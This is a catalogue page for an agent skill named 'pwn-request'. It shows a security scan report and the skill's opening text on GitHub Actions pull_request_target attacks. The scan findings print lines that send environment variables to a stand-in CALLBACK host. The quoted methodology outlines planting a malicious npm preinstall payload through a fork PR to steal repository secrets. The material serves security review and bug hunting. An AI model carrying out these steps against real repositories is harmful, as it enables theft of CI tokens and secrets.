Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/SecurityTalent/bugskill-ainpx agentmods add skills/securitytalent/bugskill-ai/pwn-requestWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/securitytalent/bugskill-ai/pwn-request)<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/pwn-request"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/pwn-request/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/pwn-request"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/pwn-request.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00117 | $0.02021 |
| Opus 5.5 | $0.00047 | $0.00808 |
| Sonnet 5.5 | $0.00023 | $0.00404 |
| Haiku 4.5 | $0.00012 | $0.00202 |
Grade C, and why
pwn-request scanned grade C with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 20d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLmediumData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
Trigger: `preinstall` script runs `curl -d @/proc/self/environ https://CALLBACK`. Unrestricted tool accessmediumExcessive agency
A wildcard tool grant or "run any command" leaves no least-privilege boundary at all.
now execute arbitrary code with the repository's `GITHUB_TOKEN` and all configured secrets. Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
"preinstall": "curl -sSfL https://CALLBACK/$(printenv | base64 -w0)" How it starts
The opening of the file, as written. The whole thing — 169 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Pwn Request
What Is Broken and Why
A "Pwn Request" occurs when a pull_request_target workflow — which runs in the context
of the base repository with access to its secrets — explicitly checks out the PR
contributor's code and executes it (via npm install, make, build scripts, etc.).
pull_request_target was designed to safely access secrets for things like posting
comments on PRs from forks, but developers mistakenly combine it with a checkout of
the PR head SHA, collapsing the trust boundary. Any attacker who can open a PR can
now execute arbitrary code with the repository's GITHUB_TOKEN and all configured secrets.
The npm preinstall/postinstall lifecycle scripts are the most common execution vector —
they run automatically during npm install / npm ci with no additional flags required
unless --ignore-scripts is explicitly set.
Key Signals
on: pull_request_targettrigger in a workflow fileactions/checkoutstep withref: ${{ github.event.pull_request.head.sha }}orref: ${{ github.head_ref }}- Package manager install step after that checkout:
npm install,npm ci,yarn,pnpm install --ignore-scripts=falseexplicitly set (overrides safe default) or--ignore-scriptsabsentpermissions: contents: writeorsecrets.*accessible in the same job- Build/test job that runs attacker's code AND has access to publish tokens or deployment keys
- Cache key derived from
hashFiles('**/package.json')— attacker controlspackage.json
Methodology
- Find all
pull_request_targetworkflows:grep -rln 'pull_request_target' .github/workflows/ - For each, check if
actions/checkoutreferences PR head code:grep -A5 'actions/checkout' .github/workflows/WORKFLOW.yml | grep 'head.sha\|head_ref' - Identify what runs after checkout:
npm install,yarn,pnpm,make, build scripts. - Check if
--ignore-scriptsis set. If absent or=false, lifecycle scripts execute. - Enumerate secrets accessible in the workflow (
secrets.*references, environment names). - Check if the same cache key is shared with a privileged downstream workflow (release, publish).
- Craft malicious
package.jsonwith payload inpreinstallorpostinstall. - Open a PR from a fork — workflow triggers automatically.
- Collect exfiltrated secrets via CALLBACK server or OOB DNS.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 20d ago First seen · 169 lines · 117 tokens per session scan C d7673e8293fd
pwn-request is a skill published in the GitHub repository SecurityTalent/bugskill-ai (13 stars, last pushed 21d ago), licensed MIT. It adds 117 tokens to every session and 2,021 once invoked, about $0.0005 per session on Opus 5.5. A static security scan graded it C with 3 findings (sends data to an external url, unrestricted tool access, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-27.
Other skills, from other repositories
git-ci
CI/CD status queries for GitHub Actions (gh) and GitLab CI (glab). Check pipeline status, failing jobs, workflow runs, job logs, and merge readiness. Use when checking CI status, debugging build failures, viewing job logs, watching pipeline progress, or configuring gh/glab CI read-only allowlists. Not for PR workflows…
cron-expression-translator
Translates cron expressions to plain English and back. Use when a cron schedule in code/config is unclear, or when you know when something should run but not the cron syntax for it.
ci-cd-pipeline-optimizer
Audits CI/CD workflows (GitHub Actions, GitLab CI) to implement caching, parallelization, and cut build durations.
CI/CD流水线
A CI/CD pipeline design guide for automating code integration, testing, and deployment. CI/CD is the practice of automatically checking and delivering software changes.
CI/CD验证器
A CI/CD validation guide for checking automated build, test, and deployment workflows. CI/CD means automatically integrating code changes and delivering them through a software pipeline.
Git工作流管理
A Git workflow manager for organising how developers use branches, review changes, and combine code. Git is a system for tracking changes to source code.